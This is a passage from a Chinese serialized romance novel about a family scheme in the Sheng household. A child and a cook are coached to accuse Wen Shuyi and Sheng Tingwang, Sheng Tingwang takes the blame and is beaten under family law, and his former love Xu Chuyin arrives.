沈馨晚面色缓和。 唇角也稍稍有了一些笑意,“那你以后也不许爱上她。” “不会的。” 盛励抽了根烟,在唇上吸着。 他承认除了气盛珽妄多管闲事外,是有点占有欲在作祟的。 不管他爱不爱温疏亦。 他已经习惯了温疏亦围着他转。 深吸了一口气,他重重地将烟卷摁灭在了手边的烟灰缸里,“虽然盛珽妄不是盛家人,但,如果我把他和温疏亦做的这事落实,你猜爷爷如果知道了,他的下场会是什么?” “你是想把盛珽妄赶出盛家吗?”沈馨晚问。 盛珽妄在所有盛家人的眼里,是根刺。 这正是拔除他的最好机会。 “没错。” 沈馨晚觉得不太现实,“盛珽妄有军功在身上,盛家现在一半的荣耀,都是他拼回来的,爷爷应该也不会……” 盛家的荣耀,除了来自盛老爷子。 都是,不属于盛家人的盛珽妄带来的。 盛珽妄是血窝里爬出来的男人。 在国外做特种兵多年,曾经一个人干掉了一个连。 吃生肉,喝鹿血。 野外极限生存三个月,都没有死。 家里的荣誉墙上,全是他的勋章。 在红圈内外,只要提到盛家,大家自然而然地就会想到盛珽妄。 盛老爷子对他,可不是一般的疼爱。 “爷爷向来帮理不帮亲。”盛励有底气地说,“这都欺负到我头上了,爷爷他不会犯糊涂的。” 沈馨晚没那么乐观。 需要花一些心思,“阿励,我有个办法。” “哦?”盛励压低眉眼,将身子探过去,沈馨晚附耳过去,“……我觉得,这样爷爷百分百会相信的。” “可是这样会不会……” “阿励,我都为了你,你以后可不要辜负我们啊……” 盛励搂紧了沈馨晚,“谢谢你馨晚,我一定会好好爱你和米米的。” “……为了你,我做什么都值得。”沈馨晚搂紧了盛励的脖子。 …… 温疏亦在雨中,不知道走了多久。 久到,等她想起来,盛珽妄的腿不算好,这才有些抱歉的停下,“不好意思,我……一时,那个……三爷,我送你回去吧,我也该回去了。” 盛园不算小。 但两个这样身份的人,在雨中一起走来走去的,难免不会说闲话。 “心情好些了?”他问,声音淡而温和。 温疏亦点头,“嗯。” “我认识一个修补水晶很不错的手艺师傅,如果你需要的话,我可以把他的联系方式给你。” 盛珽妄的声音淡而沉哑。 温疏亦忍不住抬眸看他,心口漾上一丝暖意,“我已经找了家店,师傅说可以试试看……三爷认识的人,应该更可靠,如果可以的话……” “当然。”盛珽妄拿出手机,看似无意的,“加个微信,我把联系方式发你。” 温疏亦愣了一瞬,没多想,当即扫了码,“哦,好。” 盛珽妄将水晶修复师傅的手机号,发给了温疏亦。 她复制保存了后。 将手机收了起来,“谢谢你,三爷。” 温疏亦笑了。 虽然带着些许礼貌的敷衍。 但依然美不盛收。 尤其是唇角那两个浅浅的梨涡,有一种初恋的感觉。 “不用。”他很绅士。 …… 几天后的盛家。 温疏亦一大早就发觉,有一些不一样。 平时总是躲在别处偷懒的保姆,一个个都在眼前晃。 客厅里打扫得一尘不染,该换新的,都换了,厨房里那高压锅,滋滋地喷着气,有香味飘出来,闻得温疏亦都有些饿了。 该不会是,盛老爷子回来了吧? 随着一声,铿锵有力的咳嗽。 盛老爷子由他的私人护理,推着走进了客厅。 后面跟着浩浩荡荡的盛家人。 温疏亦赶紧往旁边站了站。 眼神不经意地瞥到了沈馨晚。 她冲着温疏亦勾唇笑了笑,那味笑里,似是藏了什么…… 第7章 去了三爷的房间 众人里包括了盛励的父母亲。 还有二房那一脉。 自然也少不了盛珽妄。 他为人低调。 通常盛家人簇拥的情况下,盛珽妄都会在最不显眼的位置。 温疏亦看到他站在最后排。 突然有一种同病相怜。 “爷爷,您身体都恢复了吧?孙儿最近想您想得厉害,一直想着找机会去看望你,没想到,您提前回来了,真是太好了。” 盛励说得冠冕堂皇。 诚意和孝心恨不得摆在每个人的眼前。 盛老爷子难免心里欢喜,“倒是懂事了,这段时间,我一直在疗养,没空出时间来,张罗你和疏亦的事情,也该定下了,这么多年了,家里也该有喜事了,你说呢,宗杰?” 盛老爷子,将问询抛向了盛励的父亲。 大房是长子,自然是说不出什么。 “疏亦来盛家两年了,对盛励也好,对咱们这些长辈也好,都做得事无巨细,实在是挑不出毛病,符合盛家媳妇的标准,父亲的提议,我没有任何意见。” 盛老爷子点头。 迅速对这事有了定夺。 “我看八月十二就是个好日子,先给两个孩子把婚事订下来。” 话音落地。 紧接着就是两道急着拒绝的声音。 “不行。” “不行。” 盛励和温疏亦几乎同时出声。 盛老爷子的视线在二人的面上,来回逡巡了两遍,犯起糊涂,“不行?这不是水到渠成的事情吗?你们这是……?” “爷爷。”盛励扑通一下给盛老爷子跪了下去,“不是我不想娶疏亦,实在是最近,出了一些事情,我看这事,就先延后吧。” 他满脸的为难和有苦难言。 让家里的长辈犯起疑。 “阿励,你把话说清楚,发生什么我们不知道的事情了?”盛宗杰气势逼人,在他们盛家门里,不允许有藏着掖着的事情,“如果是你们小两口闹了别扭,那无伤大雅,但如果是你做了对不起疏亦的事情,我定不轻饶,当然了,如果犯错的疏亦,我也会为你主持公道。” 这话说得,不偏袒。 温疏亦看盛励这一出,没憋什么好屁。 他要敢胡说八道。 大家就一起死。 盛励没有给温疏亦说话的机会。 “爸,我实在是……有些事情,真的……”盛励垂下脑袋,偷偷向沈馨晚递了个眼色。 沈馨晚会意。 抬手悄悄捂住了米米的嘴,训斥起来,“爷爷和太太爷在讲话呢,小孩子别乱插嘴,别没礼貌。” 米米是个天生的演员。 沈馨晚一开口,她便顺着茬演了下去。 扑愣着反抗起来,呜呜地叫着。 盛家跟陈家的关系一直不错。 沈馨晚被盛励接回来照顾,盛家人也没当回事。 “馨晚,你放开米米,捂着孩子的嘴干什么?”盛宗杰,将米米叫到跟前,“米米,你刚刚是想要说什么?” 米米眼眶一下就红了。 她转头看了沈馨晚一眼。 又看了地上跪着的盛励一眼。 含着眼泪,摇了摇头,“盛爷爷,妈妈不让说,阿励叔叔也不让说,我,我还是不要说了……要挨打。” “怎么会呢,有盛爷爷在这儿给你撑腰呢,想说什么就说什么,我看谁敢打你。” 米米看向了沈馨晚。 沈馨晚等的就是这一句,眼神递出后。 米米在人群里扫了一圈,锁定了盛珽妄和温疏亦。 “盛爷爷,那天,我看见疏亦阿姨,去了南宅那边……”小姑娘搂住了盛宗杰的脖子,“……盛爷爷,米米看到,他们羞羞。” 此话一出。 所有人都震惊了。 南宅是盛珽妄住的地方,这不就是明摆着说,温疏亦去找了盛珽妄,干了见不得人的事情。 大家震愕,不约而同地看向了盛珽妄和温疏亦。 温疏亦面红耳赤。 她去找盛珽妄是事实。 她实在不知道,该如何解释。 “疏亦,米米说的事情,是真的吗?”盛宗杰声音,明显带着了笃定的怀疑,“你去找盛珽妄干什么去了?米米说的羞羞又是什么?” “盛伯伯,米米只是个孩子,她懂什么呀,她乱讲的。”沈馨晚伸手要接米米到怀里,她更是搂紧了盛宗杰,“盛爷爷,米米没有说谎,米米就是看见了,他们做了羞羞的事情。” 小姑娘往盛宗杰怀里躲,“盛爷爷,米米没有说谎,厨房里的熊奶奶,她也看到了,不信,你问熊奶奶。” 没有人会怀疑一个小孩子说谎,况且又丢出一个人证。 盛老爷子,当场震怒。 将厨房里的熊姐,叫到跟前问个清楚。 “你说,米米说的是真的吗?珽妄他……”盛老爷子并不愿相信这种事情的发生,“……你好好说,掺一句假,我会让你走不出这个门。” 熊姐抓着围裙,不停地干咽。 她不敢抬头看盛老爷子。 更不敢看盛珽妄和温疏亦。 心跳如雷。 “熊姐,你就如实跟盛爷爷交代吧,我们谁也不想冤枉了三爷和疏亦,有爷爷做主,你别怕。”沈馨晚紧跟着又对温疏亦,补了句,“要真是米米说谎,你也放心,我一定让她好好跟你道歉。” “熊姐,实话实说,别怕。” 盛宗杰和所有人一样,都想知道事情的真相。 “我,我……”熊姐似乎有苦难言,粗壮的手指,抓的围裙都变了形,“……我,我……” “熊姐,你大胆说,有盛爷爷和盛伯伯为你做主,你怕什么。”沈馨晚的话像催命符。 熊姐一咬牙一跺脚,“没错,那天晚上,我看到温小姐她,去了三爷的房间,一,一晚上没出来,天亮的时候,我看到她有一些凌乱的回来……那脖子上,还有……那些痕迹……” 熊姐在盛家厨房工作。 也有一些年头。 她为人忠厚朴实。 大家都相信她不是说胡话的人,“熊姐,你说的是真的吗?” “我对天发誓,没有半句假话。” 温疏亦:…… 她不知道熊姐是不是,真看到她进盛珽妄的房。 但她的证言里,出来的时间明显不对。 不是早上。 是晚上醒了酒后,就回了房。 那一半的假话是熊姐编的。 她为什么要编这样的假话? “熊姐你……”温疏亦在盛家两年,没跟熊姐有过节,她为什么要撒谎,“……你到底是为什么?” 熊姐头越来越低。 更不敢面对温疏亦。 盛老爷子重重拍桌,“温疏亦,你……,给我跪下。” 第8章 关系结束了 温疏亦想,这顿打是免不了的。 不管米米和熊姐说的话里掺了多少假,她和盛珽妄发生了关系是事实。 打就打吧。 反正,她和盛励已经结束了。 这顿打打完了。 她和盛家的关系也算结束了。 “爷爷,这事不能全怪疏亦,是我对她疏于关心,才导致她……爷爷,您要是想打人,就打我吧,我替疏亦承受这一切。” 盛励扑通一下跪到温疏亦的身旁。 温疏亦诧然。 他这又是演哪一出? “这跟你有什么关系,要说有关系,也是……”盛宗杰的视线从自己儿子身上,移落到了盛珽妄的面上。 他没有直接点名。 盛老爷子和在场所有的人,都心知肚明。 盛老爷子叹了口气,看向盛珽妄的眼神中,透出失望,“简直是不成体统。盛珽妄,你说,这到底是怎么回事?” 盛珽妄的神色在此时,有一种异于常人的平静。 不难堪,也没有局促。 太淡定了。 淡定的温疏亦反倒有一些心慌。 “你说,你和疏亦是什么情况?你们到底有没有发生……”盛老爷子不是不允许盛珽妄找女人,但温疏亦是盛励将来要娶的媳妇,这事要是传出去,只有败坏盛家的名声,“刚刚熊姐说了,是疏亦进的你的房,所以是她主动的?” 温疏亦打算直接承认了,“爷爷,是我……” 哪知,她的话还没说完,盛珽妄用淡得不能再淡的口气,说了句,“是我主动勾引的她。” “爷爷,你听到了吧,根本不是疏亦得错,是盛珽妄这个吃里扒外的东西,他连我将来要结婚的妻子都要欺负,他就是故意的,这事,您说怎么办吧,我听您的。” 盛励委屈得要哭。 在场所有人,都希望盛珽妄能给一个合理的解释。 也不枉盛家把他养大的恩情。 “珽妄,你可是刀尖上舔血过来的人,你把名誉看得比命重要,不可能为了个女人闹出如此难堪的事情,有苦衷你就说吧,爷爷为你做主。” 盛老爷子话里话外,都把这场不该发生的事情,定义为了是温疏亦得错。 温疏亦认错。 可以离开盛家,她还是挺高兴的。 “爷爷,这事跟三爷无关,是我……” 温疏亦现在只想赶紧的结束,要打要骂,她已经做好了准备。 “跟温疏亦无关,是我强迫她发生的关系,她是受害者,”盛珽妄扔掉手杖,跪到了盛老爷子的面前,“我任凭您处置。” 温疏亦的唇张了张。 主动又或是被动,有你情我愿的成分在里面。 强迫,则是把责任全部揽了过去。 盛珽妄难道不知道,这样说,会有什么后果吗? “爷爷,您也没有想到,盛珽妄是如此的放浪吧?他简直是没有把您,把盛家放在眼里,我倒是可以咽下这个委屈,我就是心疼疏亦,还有……您的脸面,盛家的脸面……” 盛励瞪着盛珽妄,恨不得要抬手打人。 盛老爷子,很难不为他讨个公道。 “盛珽妄,你……太让我失望了。”盛老爷子有心护他,也找不到理由,“珽妄,我把你带回盛家,当你是亲生儿子来养的,你,我知道你到了娶妻的年纪了,你看好哪家的千金,可以跟我讲,你不该啊……” 老爷子痛心疾首。 他没再详细问下去。 抬了抬手指,“留下宗杰和阿励,其余的都出去吧,宗杰把家法请出来。” 盛励觉得机会来了,借这个机会把自己挨的打,找回来,“爷爷,您岁数大了,病又刚刚好,我可以代您执行家法。” 盛家的家法,一个强壮的男人都抵抗不了几下。 要是打在温疏亦这样柔弱的女人身上,不死也得残。 她在心里打鼓。 指尖紧紧抓着裤边,恐惧感从脚底漫遍全身。 “老爷子。”盛珽妄看了一眼温疏亦,向盛老爷子求情,“这事是我的责任,温疏亦是受害者,再说,她也不是盛家的人,我希望您只惩罚我一个人。” 盛老爷子对温疏亦有气在身上。 但盛珽妄说得没错,温疏亦没嫁进盛家,要是乱用家法,温家那边也是交代不了。 “温疏亦,你先出去吧。” 盛励急忙扶起温疏亦,温柔又心疼,“疏亦,你先在外面等一下,我帮爷爷执行完家法,就出来找你,乖一点。” 虚言妄语,让温疏亦听得恶心。 肩膀抖了抖,避开盛励,转身走了出去。 …… 不相干的人,都被请到了外面。 二房媳妇不免要阴阳怪气一番。 “大嫂,你们这哪里给自己养了个儿媳妇啊,这分明是给盛珽妄那头狼,养了只羊嘛,这里外里的,给别人做了嫁衣,我都替你冤得上。” 周文月,就差把‘笑话’两个字,写在脑门上。 李舒萍听得憋气。 嫁进盛家这么多年,她真的事事都以身作则,就怕二房挑出毛病。 近几年。 盛老爷子年事已高,不是生病就是在疗养,这段时间,她没日没夜地照顾,快把自己熬成木乃伊了。 二房媳妇除了会拎点东西,去看望一下。 一点力都不出。 早就对这个弟媳妇有意见了。 她还在这儿阴阳怪气上了。 “是啊,我这还真是出力没讨上好,不像你啊文月,没有儿子,就没有这方面的烦恼。” 周文月气闷一口。 差点飙出脏话。 “有儿子了不起啊?你还能辈辈都生儿子?瞧不起谁呢。” 周文月生气了,扭头不再跟李舒萍说话。 温疏亦心里不安。 根本听不到别人的争吵。 沈馨晚走过来,往她身旁一站,“你和盛珽妄什么时候看对眼的?不过,他挺爷们的,自己把过错揽了过去,就是不知道,他那身体能不能承受得住,盛家的家法,毕竟……” 沈馨晚掩唇,意味不明地笑了两声。 温疏亦不知道沈馨晚是站在什么立场上,说这种话的。 只是现在她实在没有心情,跟沈馨晚计较这个,更担心盛珽妄,“……你说话别说一半,你又知道什么?” “你还挺在意他的嘛。”沈馨晚抱怀唇角上扬地说,“你别看盛珽妄表面,是那么龙精虎壮,听说,他在国外受伤,送回华城的那一年,五脏六腑全部挪位,身上的伤口多到,看不到一点正常的皮肤,抢救了三天三夜,才捡回条命,自此以后,腿也瘸了,人也废了,元气大伤……” “……这要是被盛家施了家法,有没有命缓过来,还真是个未知数呢。” 沈馨晚摇摇头。 像是到了盛珽妄的死期。 第9章 白月光驾到 温疏亦的心莫名被攥住,她和盛珽妄不过是一夜的情分,他为什么要替她承受这些。 “如果他死了,你们就是害死他的罪魁祸首,一个也跑不了。” 沈馨晚一愣,“谁害他了?他自己承认的。” “沈馨晚,你让你的女儿说谎,你买通熊姐为你做伪证,这些事情,要是被爷爷知道,你不仅会被赶出盛家,还会把乱棍打死,你信不信?” 温疏亦的话。 让沈馨晚起了一层鸡皮疙瘩,她结结巴巴地否认,“我没有,你别胡说八道。” “我告诉你沈馨晚,我不管你和盛励的事情,因为我已经不要他了,但你们把心眼耍到盛珽妄的头上,否则,你们都不会有好下场的。” 温疏亦发起狠来。 沈馨晚还是有一点怕。 兔子急了也咬人的道理,她懂。 “疏亦,你想多了,盛珽妄可是盛家的功臣,盛爷爷那么疼盛珽妄,他当然不会下死手的,他……怎么会死,你把心放肚子里好了。” 沈馨晚抱怀离开。 温疏亦心口难掩忐忑。 厅内。 盛励拿着家法,用尽了全部的力气,往盛珽妄的背上打。 “盛珽妄,有本事你就撑着别死,我看你能挺多久。” 盛珽妄紧拧眉心,挺直脊背。 无论这家法在身上多狠,伤痕多深,他巍然不动。 现在他什么也没有,但骨还是硬的。 盛老爷子到底是心疼盛珽妄。 看到他后背上的血,总是会想到,他在国外那些年,受过的苦。 总会在他身上,看到他父亲的影子。 “好了。”盛老爷子中止了这场惩罚,“打也打了,珽妄,既然犯了错,你搬出盛园去反省吧,什么时候反省好了,再回来。” “是。”盛珽妄没意见。 盛励没打尽兴,心里有怨气,“爷爷,这还没打几下呢,您这也偏心得太明显了。” “他身子骨不好,非得打死他?” “那……盛珽妄离开盛家后,是不是得让他自食其力啊?”他倒是想看看,一无是处的盛珽妄,一分钱也没有情况下,要怎么活,“您要是对他偏心的话,以后怕是不能服众。” 盛老爷子脸色难看。 这个孙子,永远不懂,留一线好相见的道理。 他没说话。 盛励自当是老爷子同意了。 搀着他往外走,“爷爷,您慢点。” …… 看到盛老爷子和盛励父子出来。 外面的人,都没有过多的询问。 老爷子偏看了温疏亦一眼,声音沉闷又不失威严,“既然发生了这样的事情,你和盛励的婚事,也就算了吧,找个日子,两家坐下来把事情谈开,便罢。” 温疏亦刚要答应。 盛励的声音又冒了出来,“爷爷,我不同意,我不嫌弃疏亦,这两年,她把我照顾得很好,我不舍得跟她分开,我想我们的感情,还是能修复的,只是要渡过一段艰难的时期而已,爷爷,我还是想娶疏亦的。” 盛励葫芦里卖的什么药,温疏亦不清楚。 但她知道,他绝对没安什么好心。 “爷爷,我同……” 温疏亦的话再次被打断。 “爷爷,谁能不犯错呢,况且,这次的事情,不是疏亦得错,我希望你给她一次机会,爷爷,算我求你。” 说着。 盛励当着众人的面给盛老爷子跪下去了。 诚恳得令人瞠目。 周文月忍不住,揶揄,“阿励啊,没想到你还挺痴情的,这温疏亦都成了盛珽妄的人了,你还要呢?到底是年轻啊,胸怀就是大啊。” 母亲李舒萍脸色难看。 盛宗杰本是一样的想法,但想到自己的马上迎来的升迁,还要拿到温家的支持,不由地替自己的儿子说起了话,“爸,阿励对疏亦一往情深,这两年,他们的点点滴滴我都看在眼里,犯了错没关系,只要疏亦改过自新,只要他们还相爱,就一定会很好地在一起的。” 父子一起求饶。 盛老爷子,自然不会坚持做那,拆散鸳鸯的坏人,“既然这样……” “爷爷,我不……”温疏亦不想要这个机会。 她现在就想逃离这个地方,马上,一刻也不想留。 “疏亦,既然阿励并不介意,你就好好的跟阿励相处,我们盛家也不是得理不饶人的人家。”盛宗杰不耐,打断了温疏亦的话,“你一直是一个懂事的好孩子,看在两家的情分上,这事就算过去了。” 这话怎么听起来。 都像是又给了温疏亦一个嫁进盛家的机会。 可她真的不想要。 “盛伯伯……” 盛老爷子抬了抬手,这事就算是不再商量了,“你们年轻人,好好的,等你们感情稳定了,再商量结婚的事情。” 盛老爷子和子辈们一起离开。 温疏亦还留在原地。 她想去看看盛珽妄怎么样了。 “珽妄。” 一个年轻悦耳的女孩的声音。 温疏亦回眸。 好漂亮的女孩子。 冷白皮的肤色,眉眼淡得如水墨画,唇上的那一抹如樱的粉色,恰到好处。 这人……她没见过。 女孩没有理会在场的几个人。 满目焦急地推开门,走了进去。 “珽妄,我来了。” 她认识盛珽妄? 温疏亦刚要跟着一起进去,就被盛励抬手拦下,“你知道这人是谁吗?她叫许初音,是盛珽妄的白月光,盛珽妄在国外当特种兵那些年,一直是她陪在身边,盛珽妄对她有一种近乎变态的依赖,疏亦,你没戏的。” 温疏亦的心口不知为何,被攥了一下。 抓在门上的指尖,也慢慢缓软。 那种感觉说不上是什么,就是挺……不舒服的。 “你跟我说这些干什么?我和三爷,不是你和沈馨晚那样的关系。” 盛励气的脸色微变,“我和馨晚……我只是可怜她一个人带孩子不容易,我也是想为我死去的朋友做点事情,好让他地下有安,你为什么总是说这样的话。” 温疏亦不解地看向盛励。 事到如今,他还在狡辩这些东西,干什么。 “盛励,你不会是真的还想跟我破镜重圆吧?” “我说过,我不嫌弃你。”他一副想让人感恩戴德的模样。 温疏亦看得反胃,“我嫌弃你,我再说一遍,我们已经分手了,滚开。” “温疏亦,我不要求你感恩戴德,但你得懂分寸,要脸面,盛珽妄跟你根本不是一路人,他就是玩你,他很爱那个许初音,是可以拿命爱的那种,你非得要表现得那么不值钱吗?” 这话刺痛了温疏亦。 她瞪向盛励,很凶狠地瞪着。 盛励在对视中,最终软下了态度,“疏亦,如果你觉得被盛珽妄占了便宜委屈,我现在可以报警,只要你说他强了你,他就得去吃牢饭。” 第10章 成年人之间的游戏 温疏亦看着这张脸,想到了个词——垃圾。 没错。 跟盛励般配得很。 “报警?吃牢饭?”温疏亦笑了,她是不会如他的愿的,“你想多了,我和他,男未婚女未嫁,你情我愿,发生关系只是成年人之间的游戏,道德和法律都约束不了,倒是你啊盛励,……道德呢是约束不了你,就是不知道,陈铭在地下,知道你要继承他的妻女,作何感想?” “你……” “你还是好好想想,怎么把自己的丑,遮严实了吧。” 温疏亦丢了一抹挑衅的笑,转身走了。 沈馨晚走过来,满是怨气地看着盛励质问,“你是不是心里还有温疏亦?你是想吃着碗里的,看着锅里的是不是?盛励,你以前对我的山盟海誓,是不是都忘记了?” 盛励以前对沈馨晚有用不完的耐心。 今天,他突然有点烦,“没有。” “你看,你就是烦我了。”沈馨晚心口一酸,抽泣起来。 他更烦了,“你不是想去天景工作吗?我去给你找找关系,让你给你走个后门,先走了。” “盛励……”沈馨晚不想赔了夫人又折兵。 现如今,她只能抓着盛励不放,“……你最好不要背叛我们的感情。” 门外安静下来。 门内的男人,一口鲜血吐了出来,人直愣愣地栽倒在了地上。 “珽妄……,你别吓我,来人啊……” 盛珽妄被送回南宅休息。 许初音给顾临打了电话,让他务必先过来为盛珽妄诊治。 唐伯熬了一些安神的汤水,端过来。 “唐伯,给我吧。”许初音伸手接了过去。 唐伯看着虚弱的盛珽妄,心疼得眼眶泛红,“三爷,您还好吧?身子受不住,怎么不跟老太爷讲呢,这样硬挺着,要是出事了,可怎么办啊?” “我没事。” 盛珽妄以为自己能挺住。 可他忘了,他依然不是从前的自己。 许初音吹了吹汤,用汤匙递到盛珽妄的面前,“总是逞强,来,先喝口汤。” “我自己来就好。” 盛珽妄伸手去接,许初音没让,“怎么?这里又没有旁人,也避上闲上了?” “我手能动。”盛珽妄挤了抹笑,对着唐伯说话,“唐伯,帮我收拾一下东西,过几天,我要搬出盛家。” “为什么三爷?为什么要搬出盛家?”唐伯心疼中,夹着些许的不甘,“这盛家上上下下,哪里不是您打下来的江山,说句不好听的,就算要离开,也是盛家人离开,怎么是您离开呢?” “当年,是您的父亲救了盛老爷子,为他丢了命,他们盛家人觉得收养了您,对您有恩,孰不知,您的父亲,才是盛家的大恩人,他们这样对您,真的太过分了。” “老爷子将我养育成人,这就是恩情,我的这些荣耀,给他,给盛家,我不觉得亏。”盛珽妄知恩图报,他不后悔,也没觉得有什么不甘心和委屈,“况且,我也到了该离开的时候了。” “您真不该把您和温小姐的事情,全揽到您的身上。”唐伯心里总是过不去,“是她主动……” “好了唐伯,这事不要再讲了。”盛珽妄脸色沉下。 唐伯也只好噤声。 话只说了一半。 许初音也只听了大概,但加上过来时,她特意打听了今天发生的事情,心中也算明了。 “珽妄,那你和温疏亦,你们之间……” 盛珽妄没有回答。 眼底有一抹被询问的不快。 许初音心是不爽快的。 但也没有在这个时候,再继续追问下去。 转头跟唐伯说,“唐伯,还麻烦你先帮着珽妄把东西收拾一下,一会儿我来帮你。” “知道了。” …… 不管怎么说,盛珽妄是替温疏亦受的伤。 她觉得应该去看望一下。 去南宅的路上,温疏亦遇到拎着药箱,步履匆忙地顾临。 “顾医生。”温疏亦快走几步,来到他面前,“你这是……给三爷来看病吗?” “是啊,初音给我打电话,火急火燎的,说是珽妄受伤了,我很担心上,下了手术,就赶紧过来了。”顾临推了推架在鼻梁上的眼镜,并不知道发生了什么,“他也是有年头没受过伤了,今天是怎么回事?” 温疏亦不知道该如何向顾医生解释。 沉闷着不说话。 顾临似是明白了什么,便也没再问下去,“你也要去看他吗?” “嗯。” “那一起吧。” 顾临和温疏亦一前一后地走进了南宅。 站在门口,温疏亦有一些踌躇。 盛珽妄的白月光在,她不知道,自己这个时候,该不该出现。 如果问起,她和盛珽妄的事情,会令自己很难堪。 “顾医生,要不,你把这个带给三爷吧,我就不去打扰了。” 温疏亦递上自己精心准备的小饼干伴手礼。 时间太紧,她实在是没有办法,准备别的。 手礼不大,很精致,顾临并没有马上伸手去接,“都到这儿了,还是一起进去看看吧。” “还是不了。” 顾临只好接过温疏亦的小礼物,“那行吧,我会跟珽妄讲的。” “嗯,谢谢。” 看着女孩落寞转身的背影。 顾临心里有一些不知道哪来的伤感。 深呼吸后。 他拎着药箱,迅速走向了盛珽妄的房间。 顾临很专业,做了诊治和处理。 盛珽妄皮肉伤最重,因为过重,又伤到了本就没有修养好的五脏六腑。 “盛老爷子下手这么狠吗?不应该啊。”顾临给盛珽妄输了液,“我记得你从国外回来那年,他哭得一把鼻涕一把泪的,你这是做什么伤他心的事情了?” “是盛励打的。”唐伯恨得咬牙切齿,“这个混小子,好不容易逮着机会,还不得往死里整。” “盛励?” 按理说,这小子不敢对盛珽妄不敬。 就连他爹,在盛家也要看盛珽妄的三分眼色。 “胆子不小啊。” 收拾好药箱,顾临将温疏亦送的小礼物,递过去,“呶,温疏亦送的,这事,不会跟她有关吧?” 盛珽妄伸手去接。 中间却被许初音伸手截胡,“什么乱七八糟的。” 她伸手就要往垃圾筒里扔。 盛珽妄开口,“给我。” “一些小饼干而已,你又不爱吃甜食。”许初音嘴上不愿意,但还是把东西,重新递给了盛珽妄,“你怎么这么在意她送的东西?” “总归是别人的心意,珽妄收下了,我也好向温疏亦交差,珽妄是给我面子。” 顾临出来打圆场。 许初音也就没有计较。 但话里多了几分提点,“珽妄,我知道你心好,顾全女人的名声,将错揽过来,但是有一种女人,是很有心机的,指不定她在计划着什么呢,你也别太善良了。” 第11章 一个免费的保姆 盛珽妄的情绪没有因为许初音的话,有什么起伏。 他将温疏亦送来的饼干放到自己床边柜上。 继续闭目养神。 顾临要走。 许初音出来送他,“珽妄的伤,应该没有大碍吧?” “以他的体质,恢复得不应该这么慢,这次又被打……”顾临面色深沉,透出担忧,“……得好好养一段时间了。” 许初音点头。 顾临似是想到了什么,问,“他最近还做噩梦吗?” “我……今天刚回国,回头,我问问唐伯。”许初音黯然。 顾临微微笑了笑,安慰:“你也别太着急,他总归是年轻,离开了盛家,心情好了,病自然而然地就好起来了。” “希望吧。” 回来时。 唐伯没有让许初音进盛珽妄的房间,“三爷他睡了,吩咐我,让您先回酒店休息,有什么事情,改日再说。” 想到盛珽妄受了伤。 许初音也没有勉强留下来,“那辛苦唐伯你照顾好珽妄,明天我再过来。” “三爷说,过几天就要搬出盛家,这几日忙,您就先别过来了。”唐伯礼貌疏离。 许初音眉心皱起几分。 心里有一些不舒服,但面上还是有几分从容,“你们要搬去他父母生前的那套房子吗?” “应该是的。” “那就让他好好休息,等你们搬了家,我再过去照顾他。” …… 次日。 温疏亦去天景集团面试。 记错了时间,又因为不熟悉路线,公交车坐过了站。 她气喘吁吁地跑到公司门口。 一抬头。 看到沈馨晚从盛励的车里下来。 他亲自给开门,动作贴心,连伸出去的胳膊,都那么的小心翼翼。 盛励还真的是把沈馨晚捧在了心尖上。 温疏亦承认这一幕,还是让她很不舒服。 好在,已经不那么刺痛她。 只是…… 沈馨晚也要来天景面试吗? 难道陈铭去世后,陈家人一分钱也没有给她? 倒也是,没有经济来源,又要养孩子,所以,不得不向现实妥协? 陈家人可以不管她。 盛励不会不管的。 这个护花使者,能舍得这个白月光出来工作,吃这苦? “好巧啊疏亦,你也是来面试的吗?你怎么不早说呢,阿励来送我,可以顺便带上你,省得你挤公交车了……” 似是想到了什么,沈馨晚掩唇笑了起来,“……瞧我,怎么给忘了,你和阿励还在闹别扭,我会帮你好好劝劝阿励的。” 沈馨晚有些炫耀的成分在里面。 温疏亦看得心烦,呛了句,“你帮我劝?帮我怎么劝?在床上劝?” “阿励,疏亦她,好像生我们的气了,都怪你,过来的时候,不给疏亦打个电话问一声,让她这么冷的天,做公交过来……,她又要胡思乱想了……” 沈馨晚皱起眉头,像受了委屈的小白花。 盛励走到温疏亦的面前。 她条件反射般地往后退了一步,“干嘛?” “你也来天景面试?怎么没有跟我讲啊?”盛励面色还算温和,似是想缓和他和温疏亦的关系,“你早点跟我说,我可以帮你找找关系。” “不用。” 她不想再跟盛家扯上关系。 “你还在生我的气?”盛励往前一步,温疏亦就后退一步,警告,“你离我远一点啊。” “你……” 温疏亦急着面试,扭头走了。 “人还挺傲娇的。”沈馨晚不喜欢,盛励对温疏亦的态度,“阿励,人家根本不领你的情,我看你,还是别热脸贴冷屁股了。” “行了,赶紧去面试吧。”盛励略显不耐。 沈馨晚哼哼,“……你不是已经打点好关系了,那我可不可以,不去面试啊?” “面试就是走个流程,去吧。” “知道了。” …… 温疏亦面试流程走得很正常。 面试完,出来的时候,她看到了沈馨晚,正在跟一个部门主管样的人说话。 看沈馨晚笑的那副不值钱的样子。 应该是走后门了。 只看了那么一眼,温疏亦便收回了视线。 回家等消息的这几天。 温疏亦已经在外面租好了房子,把自己的行李简单的收拾了一下,就可以离开了。 想想自己,住进盛家这两年。 一直就是一个免费的保姆,干最累的活,看最多人的脸色。 盛家人除了逢年过节给包个红包,平时,一点表示都没有。 任劳任怨的,想着跟盛励最后能结婚,成为一家人,她也就认了。 结果呢? 拉好行李箱的拉锁,她在盛家吃了最后一顿晚饭。 夜晚。 寂静。 温疏亦一个人在院子里,漫无目的走着。 南宅里亮着灯。 她其实挺想去看望一下盛珽妄的。 一想到许初音在。 她往里走的脚步就顿了下来。 他有女朋友,她应该跟他保持距离。 错事做一件就算了。 不能一错再错。 不知道为什么,她心里有一种难以形容的酸涩。 转身。 温疏亦黯然,拾步准备离开,腰上突然缠上了一只大手。 她吓得刚要尖叫,就听到低沉暗哑又不失熟悉感的声音,在她耳边响起,“你还挺没良心的,到了也不进来看看我,嗯?” 是盛珽妄。 温疏亦的心砰砰乱跳。 “三,三爷,我,我怕打扰你。” “这里只有我和唐伯,你怕打扰谁?”他的大手握在她的小手上,灼得她指尖蜷起,“既然都来了,就进来坐坐。” 他自然而然地牵起她的小手。 走进了他的地方。 客厅里,是收拾好的行李箱和很多装着杂物的纸箱。 唐伯还在忙活。 温疏亦错愕,“你真的……要搬出盛家吗?” “这本来就不是我的家。” 如果当年,他不是一身伤地回国,他应该早就离开了。 温疏亦听得心里愧疚,“对不起啊,都是因为我。” “跟你没关系,我们的事情,只是一个引子,盛家人早就看不惯我,而我……”他的眼神幽深落寞,“……早就应该识事务了。” 